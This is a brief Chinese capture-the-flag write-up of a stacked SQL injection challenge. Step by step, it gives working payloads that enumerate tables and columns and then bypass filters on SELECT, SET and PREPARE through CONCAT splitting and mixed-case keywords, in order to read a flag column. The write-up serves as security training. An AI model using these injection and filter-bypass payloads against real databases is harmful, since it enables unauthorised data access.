- 首先输入有个单引号,出现报错信息,说明是单引号闭合的字符型注入
- 输入'#发现成功闭合
- 使用order by判断出字段数为2,然后使用select查询,但发现select被过滤了
- 然后我们可以尝试堆叠注入,输入:';show tables;--+ ,发现存在两个表
- 查看表的结构:这里由于有一个表的名字为纯数字,所以需要使用反引号括起来,payload为:';show columns from `1919810931114514`;--+,发现存在一列为flag
- 想要查询flag列但select被过滤了,所以可以试试预编译:payload为:';set @sql=CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;发现set和prepare被过滤了
- 尝试使用大小写绕过,payload:';sEt @sql=CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#发现成功